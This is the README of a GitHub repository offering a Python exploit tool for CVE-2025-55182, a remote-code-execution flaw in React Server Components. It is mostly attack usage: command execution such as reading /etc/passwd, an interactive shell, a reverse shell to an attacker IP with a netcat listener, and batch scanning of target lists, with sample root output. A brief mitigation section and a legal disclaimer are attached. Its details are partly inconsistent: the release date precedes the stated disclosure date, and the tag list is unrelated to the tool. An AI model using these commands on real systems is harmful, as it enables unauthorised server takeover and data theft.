hujiaozhuzhu/CVE-2025-55182_liyon
GitHub: hujiaozhuzhu/CVE-2025-55182_liyon
针对 CVE-2025-55182 的 Python 漏洞利用工具,用于检测和利用 React Server Components 反序列化导致的远程代码执行漏洞。
Stars: 0 | Forks: 0
# CVE-2025-55182 - React Server Components RCE
## 📋 概述
**CVE-2025-55182** 是 React Server Components (RSC) 中的一个关键远程代码执行(RCE)漏洞,允许未认证的攻击者通过恶意的JavaScript反序列化在服务器上执行任意代码。
### 🎯 漏洞详情
| 属性 | 值 |
|-----------|--------|
| **CVE ID** | CVE-2025-55182 |
| **CVSS 评分** | 9.8 (严重) |
| **攻击向量** | 网络 |
| **攻击复杂度** | 低 |
| **所需权限** | 无 |
| **用户交互** | 无 |
| **影响** | 高 (机密性、完整性、可用性) |
| **受影响组件** | React Server Components (RSC) |
| **受影响版本** | React 18.x - 19.x (特定构建版本) |
| **披露日期** | 2025年12月3日 |
| **CVE 别名** | React2Shell |
### 🔍 技术详情
**根本原因**: React Server Components 在处理RSC负载时不正确地反序列化用户提供的JavaScript对象,允许攻击者注入在服务器上执行的恶意代码。
**攻击向量**: HTTP请求中的恶意RSC负载
**影响**: 无需认证的远程代码执行、服务器接管、数据泄露
## 🚀 功能特性
- ✅ 带交互式Shell的单文件Python利用工具
- ✅ 自动化漏洞检测
- ✅ 支持多线程的批量扫描
- ✅ 基于Docker的易受攻击React环境
- ✅ 支持多种负载类型
- ✅ 详细的日志记录和错误处理
- ✅ 反向Shell建立
- ✅ Base64负载编码
## 📦 安装
# 克隆仓库
git clone https://github.com/hujiaozhuzhu/gju.git
cd gju
# 安装依赖
pip install -r requirements.txt
## 🎯 使用方法
### 快速开始
# 安装依赖
pip install requests
# 在易受攻击的目标上执行命令
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 -c "whoami"
# 交互式Shell模式
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 --shell
### 高级选项
# 自定义命令
python exploit/cve_2025_55182.py -u http://target.com -c "cat /etc/passwd"
# 使用自定义IP/端口建立反向Shell
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444
# 批量扫描
python exploit/batch_scanner.py -f targets.txt
# 详细模式
python exploit/cve_2025_55182.py -u http://target.com -v
# 自定义User-Agent
python exploit/cve_2025_55182.py -u http://target.com --ua "Mozilla/5.0"
## 🏗️ 靶场环境搭建
### 使用Docker (推荐)
cd target
docker-compose up -d
### 手动搭建
cd target
npm install
npm run dev
访问易受攻击的应用: `http://localhost:3000`
## 📊 攻击场景
### 场景1: 命令执行
在易受攻击的服务器上执行单个命令:
python exploit/cve_2025_55182.py -u http://target.com -c "id"
**预期输出**:
[+] 漏洞检测成功:React Server Components RCE
[+] 执行命令: id
[+] 响应:
uid=0(root) gid=0(root) groups=0(root)
### 场景2: 交互式Shell
在易受攻击的服务器上获取交互式Shell:
python exploit/cve_2025_55182.py -u http://target.com --shell
**功能**:
- Tab补全
- 命令历史
- 多个Shell会话
- 文件上传/下载
### 场景3: 反向Shell
建立反向Shell连接:
# 在攻击者机器上
nc -lvnp 4444
# 运行利用工具
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444
### 场景4: 批量扫描
扫描多个目标的漏洞:
# 创建目标文件
cat > targets.txt << EOF
http://192.168.1.10:3000
http://192.168.1.11:3000
http://192.168.1.12:3000
EOF
# 运行批量扫描器
python exploit/batch_scanner.py -f targets.txt
## 🛡️ 缓解与防御
### 立即行动
1. **升级React**
npm install react@latest
# 升级到修复版本
2. **阻止RSC请求**
// 临时禁用RSC
const config = {
enableRSC: false
}
3. **WAF规则**
- 阻止包含RSC模式的请求
- 监控可疑的JavaScript负载
- 对RSC端点实施速率限制
### 长期修复
- 实施RSC负载的输入验证
- 使用沙箱化的JavaScript执行
- 定期安全审计
- 监控未经授权的RSC访问
## 📚 文档
- [漏洞分析](docs/vuln_analysis.md) - 技术深度分析
- [使用指南](docs/usage_guide.md) - 完整使用说明
- [防御与修复](docs/defense.md) - 安全加固
## 🧪 测试
### 手动测试
# 搭建易受攻击环境
cd target && docker-compose up -d
# 测试漏洞
python exploit/cve_2025_55182.py -u http://localhost:3000 -c "echo 'CVE-2025-55182 RCE confirmed'"
### 自动化测试
# 运行测试套件
python tests/test_exploit.py
## 🔬 研究参考
- [CVE-2025-55182 NVD条目](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [React安全公告](https://react.dev/security/advisories)
- [Wiz研究博客](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)
- [Project Zero分析](https://googleprojectzero.blogspot.com/2025/12/react2shell-cve-2025-55182.html)
## 📝 更新日志
### v1.0.0 (2025-04-02)
- 初始发布
- 单目标RCE利用
- 交互式Shell模式
- 反向Shell支持
- 批量扫描
- Docker易受攻击环境
- 全面的文档
## 🎓 教育目的
此工具演示:
- React中的RCE漏洞如何工作
- 正确的漏洞开发实践
- 安全评估方法
- 道德黑客原则
## 👥 贡献者
- 安全研究员 - 初始实现
## 📄 许可证
此项目采用MIT许可证 - 详见 [LICENSE](LICENSE) 文件。
## ⚠️ 法律与道德声明
**重要**: 此工具仅用于教育和授权安全测试目的。
### 法律要求
- 仅在您拥有或获得明确许可的测试的系统上使用
- 遵守所有适用的法律和法规
- 向供应商负责任地报告漏洞
- 遵循负责任披露指南
### 禁止的行为
- 未经授权访问计算机系统
- 在未经许可的情况下针对系统
- 将漏洞用于恶意目的
- 泄露或销毁数据
### 法律后果
- 未经授权访问的刑事指控
- 损害的民事责任
- 潜在的监禁时间
- 职业后果
**使用此工具, 您同意:**
- 遵守所有当地和国际法律
- 仅用于授权的安全测试
- 负责任地报告发现的漏洞
- 不用于恶意或非法活动
## 📞 报告漏洞
如果您在生产系统中发现此漏洞:
1. **向供应商报告**
- React团队: security@react.dev
- 遵循负责任披露
2. **CVE分配**
- 提交到NIST NVD
- 遵循披露时间表
3. **安全社区**
- 分享发现(修补后)
- 为安全知识做出贡献
**记住**: 安全研究应该始终是合乎道德和合法的。用您的技能使互联网更安全! 🛡️
标签:CISA项目, CVE-2025-55182, CVSS 9.8, Docker环境, Exploit, JavaScript安全, Next.js安全, PE 加载器, PoC, Python, RCE, React 18, React 19, React Server Components, 交互式Shell, 前端安全, 反序列化漏洞, 反弹Shell, 数据可视化, 无后门, 无服务器架构, 暴力破解, 编程工具, 网络信息收集, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞